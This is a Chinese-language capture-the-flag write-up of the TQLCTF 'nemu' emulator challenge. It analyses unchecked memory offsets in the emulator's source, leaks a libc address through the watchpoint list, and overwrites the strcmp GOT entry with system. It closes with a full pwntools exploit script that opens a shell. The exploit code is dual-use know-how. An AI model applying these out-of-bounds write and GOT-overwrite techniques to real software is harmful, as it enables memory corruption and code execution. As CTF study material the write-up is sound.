tqlctf的nemu题目复现。开学了但是被疫情困在寝室,正好可以学习一番。主要基于官方wp。发现虚拟机很好的一点是会给源码。
 
题目分析 题目下载及exp
https://github.com/Nicholas-wei/pwn/tree/main/tqlctf/nemu 
一道给了源码的虚拟机题。先看看有什么保护
没有PIE,got表也可写。
查看虚拟机源码,发现最主要的是这些指令
接下来一个一个函数看过来(好像操作系统)
cmd_help 根据参数,输出指令对应的用处说明。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 static  int  cmd_help (char  *args)  {     char  *arg = strtok(NULL , " " );    int  i;   if  (arg == NULL ) {          for  (i = 0 ; i < NR_CMD; i ++) {       printf ("%s - %s\n" , cmd_table[i].name, cmd_table[i].description);     }   }   else  {     for  (i = 0 ; i < NR_CMD; i ++) {       if  (strcmp (arg, cmd_table[i].name) == 0 ) {          printf ("%s - %s\n" , cmd_table[i].name, cmd_table[i].description);         return  0 ;       }     }     printf ("Unknown command '%s'\n" , arg);   }   return  0 ; } 
 
cmd_c 调用cpu_exec函数。这个函数比较复杂,不分析了
1 2 3 4 5 6 7 static  int  cmd_c (char  *args)  {  cpu_exec(-1 );    return  0 ; } 
 
cmd_si 其实相当于调用cpu_exec一共n次。
cmd_info 可以查看断点以及寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static  int  cmd_info (char  *args) {    if (args == NULL ) {printf ("Please input argument\n" ); return  0 ;}     else {                  char  *n_str = strtok(args, " " );         if (!strcmp (n_str,"r" )){                          for (int  i=0 ; i<8 ; i++){                 printf ("%s:\t%#010x\t" , regsl[i], cpu.gpr[i]._32);                 printf ("\n" );             }         }         else  if (!strcmp (n_str,"w" )){             list_watchpoint();          }     }     return  0 ; } 
 
cmd_x 可以查看内存的值。这里很有意思,可以像gdb一样。不知道gdb是不是也是这样实现的?
这里注意,x并没有检查需要阅读的地址偏移量是否超出pmem的大小。如果超出可能岛主越界读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 static  int  cmd_x (char  *args) {if (args == NULL ){printf ("Please input argument\n" ); return  0 ;}else {    printf ("%-10s\t%-10s\t%-10s\n" ,"Address" ,"DwordBlock" ,"DwordBlock" );     char  *n_str = strtok(args, " " );     if (!memcmp (n_str,"0x" ,2 )){         long  addr = strtol(n_str,NULL ,16 );        printf ("%#010x\t" ,(uint32_t )addr);        printf ("%#010x\n" ,vaddr_read(addr,4 ));      }     else {          int  n = atoi(n_str);         n_str = strtok(NULL , " " );         long  addr = strtol(n_str,NULL , 16 );         while (n){             printf ("%#010x\t" ,(uint32_t )addr);             for (int  i=1 ; i<=2 ; i++){                 printf ("%#010x\t" ,vaddr_read(addr,4 ));                  addr += 4 ;                  n--;                 if (n == 0 ) break ;             }             printf ("\n" );         }     } } return  0 ;} 
 
注意其中的vaddr_read,提供了读取地址中的数值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 uint32_t  vaddr_read (vaddr_t  addr, int  len)  {  return  paddr_read(addr, len); } uint32_t  paddr_read (paddr_t  addr, int  len)  {  return  pmem_rw(addr, uint32_t ) & (~0u  >> ((4  - len) << 3 )); } #define  pmem_rw(addr, type) *(type *)({\     guest_to_host(addr); \     }) #define  guest_to_host(p) ((void *)(pmem + (unsigned)p)) 
 
这里的guest就是NEMU中运行的进程的地址。hosu时NEMU。可以看到关键在于pmem_rw中对地址采取了解引用。而地址转换的具体过程就是((void *)(pmem + (unsigned)p))。那么pmem是什么?我们合理猜测他是某个基地址。p就是偏移。向上追溯,p其实是addr,而后面的length似乎只是一个NEMU中地址长度数据。
1 2 #define  PMEM_SIZE (128 * 1024 * 1024) uint8_t  pmem[PMEM_SIZE] = {0 };
 
cnd_w 用来设置watchpoint
其中watchpoint的数据结构如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef  struct  watchpoint  {  int  NO;   struct  watchpoint  *next ;     char  exp [30 ];  uint32_t  old_val;  uint32_t  new_val; } WP; 
 
以下是设置部分。大致是将WP转换成一个链表结构。其中我们的输入是一个表达式,最后将被算出来数值,放在wp->old_val中。表达式自身将被放在wp->exp中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 void set_watchpoint(char *args){     bool  flag = true;   uint32_t val = expr(args, &flag);   if  (!flag) {     printf("You input an invalid expression, failed to create watchpoint!" );     return  ;   }     WP *wp = new_wp();   wp->old_val = val;   memcpy(wp->exp, args, 30 );   if  (head == NULL) {     wp->NO = 1 ;     head = wp;   }   else  {     WP *wwp;     wwp = head;     while  (wwp->next  != NULL) {       wwp = wwp->next ;     }     wp->NO = wwp->NO + 1 ;     wwp->next  = wp;   }   return  ; } 
 
cmd_p 用于打印变量数据,或者计算一些表达式的值。其中调用expr()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 static  int  cmd_p (char  *args) {    if (args == NULL ){printf ("Please input argument\n" ); return  0 ;}     else {         bool  success = false ;         uint32_t  result = expr(args, &success);         if (!success){             printf ("Wrong express!\n" );             return  0 ;         }         else {             printf ("%#x\n" ,result);         }     }     return  0 ; } uint32_t  expr (char  *e, bool  *success)  {       if  (!make_token(e)) {     *success = false ;     return  0 ;   }       else {       for (int  i=0 ; i<nr_token; i++){           if (tokens[i].type == '-'  && ( i==0  || tokens[i-1 ].type == '+' \                       || tokens[i-1 ].type == '-'  || tokens[i-1 ].type == '*' \                       || tokens[i-1 ].type == TK_EQ || tokens[i-1 ].type == TK_NQ \                       || tokens[i-1 ].type == TK_AND || tokens[i-1 ].type == TK_OR\                       || tokens[i-1 ].type == NOT|| tokens[i-1 ].type == NEG)){                 tokens[i].type = NEG;           }       }       for (int  i=0 ; i<nr_token; i++){              if (tokens[i].type == '*'  && ( i==0  || tokens[i-1 ].type == '+' \                          || tokens[i-1 ].type == '-'  || tokens[i-1 ].type == '*' \                          || tokens[i-1 ].type == TK_EQ || tokens[i-1 ].type == TK_NQ \                          || tokens[i-1 ].type == TK_AND || tokens[i-1 ].type == TK_OR\                          || tokens[i-1 ].type == NOT || tokens[i-1 ].type == NEG ||tokens[i-1 ].type == DEREF)){                 tokens[i].type = DEREF;              }      }       *success = true ;       return  eval(0 ,nr_token-1 );   } } 
 
设置和取消watchpoint的函数不详细写了。似乎没什么重要的。就是实现了一个储存观察点的链表结构。
cmd_set 可以用来设置内存。逻辑其实也不复杂,就是将目标地址和数据经过expr()计算后,调用之前的vaddr_write进行写入。这里似乎经过计算得到的data并没有设置大小。是否可以越过pmem越界写?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 static  int  cmd_set (char  *args) {  paddr_t  dest_addr;   uint32_t  data;   bool  success = false ;   if (args == NULL ) {     printf ("Please input argument\n" );     return  0 ;   }   else {          char  *dest_addr_str = strtok(args, " " );     char  *data_str = strtok(NULL , " " );     if ( (dest_addr_str==NULL ) || (data_str == NULL )){       printf ("wrong argument\n" );       return  0 ;     }     dest_addr = expr(dest_addr_str, &success);     if (!success) {       printf ("Wrong express!\n" );       return  0 ;     }     data = expr(data_str, &success);     if (!success) {       printf ("Wrong express!\n" );       return  0 ;     }     vaddr_write(dest_addr, 4 , data);     return  0 ;   } } 
 
漏洞分析 个人认为漏洞还是集中在cmd_set、cmd_p这两个操作上。因为这个涉及和HOST的内存交互。也就是下面两个宏定义。
1 2 3 4 5 #define  guest_to_host(p) ((void *)(pmem + (unsigned)p)) #define  host_to_guest(p) ((paddr_t)((void *)p - (void *)pmem)) 
 
尝试调试程序。通过以下命令开启源码调试
1 (gdb) dir ./nemu_source_code/nemu 
 
对比一下paddr_read的汇编和源码
rdi参数其实就是addr,也就是pmem中的偏移。以下0x6a3b80是pmem的地址。这里加上0x100001是寄存器rdi中的内容。
可以看到,对于pmem的大小范围内的数据并没有限制偏移(addr)大小。因此可以用上述两操作完成越界读写。
泄露libc地址 由于上述代码中限定了addr只能是无符号数字,而GOT表开始位置比0x6a3b80小很多,因此不能打印GOT表。
但是经过调试发现,在和pmem偏移为0x8001d88位置,存在libc相关信息
但是我们每次只能打印4字节。因此打印两遍即可。使用x指令的越界读即可完成。
1 2 3 4 5 6 7 8 9 10 send('x 0x8001d88' )  io.recvuntil('      ' ) libc_info1 = int (io.recvuntil('\n' ,drop=True ),16 )  send('x 0x8001d8c' )  io.recvuntil('      ' ) libc_info2 = int (io.recvuntil('\n' ,drop=True ),16 )  libc_info = (libc_info2 << 32 ) + (libc_info1) success("libc_info: "  + hex (libc_info)) libc_base = libc_info - 0x3c4ce8  success("libc_base: "  + hex (libc_base)) 
 
但是上述方法似乎仅在gdb连着的时候有效。还是第一次碰到这种问题。用gdb直接打开进程和用gdb.attach()打开进程结果会不一样,这里也才发现 。用gdb.attach打开时,上述内容全部为0,并且0x86a5900不可访问。
因此只能通过下面的方法,修改head指针为一个GOT地址,再打印出来。其中打印的时候调用如下函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 void  list_watchpoint () {    WP *head2 = head;     if (head == NULL ) {         printf ("No watch pint to delete\n" );         return ;     }     printf ("NO Expr               Old Value               New Value\n" );     while (head2){         printf ("%d  %-18s %#x               %#x\n" ,head2->NO,head2->exp ,head2->old_val,head2->new_val);         head2 = head2->next;     }     return ; } 
 
由于需要对内存解引用,我们要确保head2->exp是可以解引用的,并且head->next为NULL。head->next的偏移在0x4的位置,exp在0x4+0x8。
由此,我们只需要选择0x60eff8-0x4=0x60eff4(但是经过调试,发现很奇怪还是需要再减去0x4,这里是真的不知道为什么,反正调试的方法就是看next是不是0)
使用0x60eff0输出可以得到下图的结果。可以看到打印出的就是free的libc。这样我们可以获得一个libc
写入system 在利用set写入的时候碰到一些问题。就是发现往上层写GOT,无符号数不允许,但是往下写hook函数,又会超过32位大小范围。到这里有点卡住不会了。
其实在调试pmem后面地址的时候也有发现,可以用pmem修改任意全局变量的地址。其中set_watchpoint 的head指针也可以被改掉。
1 2 3 4 5 6 7 8 9 10 11 12   if  (head == NULL ) {     wp->NO = 1 ;     head = wp;   } typedef  struct  watchpoint  {  int  NO;   struct  watchpoint  *next ;  char  exp [30 ];  uint32_t  old_val;  uint32_t  new_val; } WP; 
 
注意到这里其实是head=wp,那么*head其实是wp->NO。这样就好办了,我们只需要设置head为某个GOT表的前面位置就行了。查看数据结构,只需要放在偏移为(-0x8+0x4)的地方即可。注意到我们只能写入到old_val地方(会检查是否能够求值,不能写入wp->exp)因此需要有一定的偏移。
然而,尝试了直接写入,因为首先不能直接写head(解引用next会导致出错)这个任意地址写也有点困难。看了wp才知道是真的有点难,利用了一段上面没有分析到的代码。
1 2 3 4 5 6 7 8 9 10 11 WP *new_wp () {     if (free_ == NULL ){         assert(0 );     }          WP *temp = free_;     free_ = free_->next;          temp->next = NULL ;     return  temp; } 
 
这是当我们新建一个watch point时,nemu会先检查是不是有已经释放的,如果有就拿出来,对其进行写。似乎这里才是真正的任意地址写。而且free_也是一个全局变量
free_就在Head前面,也可以被操控。因此把free_改成我们想要写入的地址附近(这里似乎没有什么检查)可以通过调试看出来偏移为多少的地方可以写入数据。
当我们直接将free_写入strcmp时,可以看到如下偏移位置被写入了0xdeadbeef。因此我们将之前的位置改为-0x30即可在strcmp上写入0xdeadbeef。同时由于只能低地址写入,可以接应strcmp的高2字节,直接在后面写入system。
如下为成功改好了的GOT
之后直接info(/bin/sh)就能拿到一个shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from  pwn import  *filename="./nemu"  libc_name="./libc-2.23.so"  io = process(filename) elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] def  send (con ):    io.recvuntil('(nemu)' )     io.sendline(con) def  debug (breao=True  ):    cmd= ""      cmd += "dir /home/nicholas/Desktop/pwn/tqlctf/nemu/nemu_source_code/nemu\n"      cmd +="b vaddr_read\n"      cmd +="b vaddr_write\n"      cmd +="b paddr_read\n"      cmd +="b paddr_write\n"      cmd +="b cmd_set\n"      cmd +="b cmd_w\n"      gdb.attach(io,cmd)     if (breao):         send('x 0x100' ) send('set 0x8000448 0x60eff0' ) send('info w' ) io.recvuntil('0x' ) libc_info1 = int (io.recvuntil(' ' ,drop=True ),16 ) io.recvuntil('0x' ) libc_info2 = int (io.recvuntil('\n' ,drop=True ),16 ) libc_info = (libc_info2<<32 )+libc_info1 success("libc_info: "  + hex (libc_info)) libc_base = libc_info - 0x084540  success("libc_base: "  + hex (libc_base)) strcmp_got = 0x000000000060f0f0  system = (libc_base + libc.sym['system' ]) &0xffffffff  target_addr = strcmp_got -0x30  send('set 0x8000448 0' ) send('set 0x8000440 0x%x'  % target_addr) send('w 0x%x'  % system) info("/bin/sh\x00" ) io.interactive() 
 
总结一下:一个完全无限制的越界读写问题。但是看似简单,读写操作的时候还需要经过一些检查。很值得一做。很适合作为VM pwn的入门题目仔细分析(正好也有源码,漏洞很经典)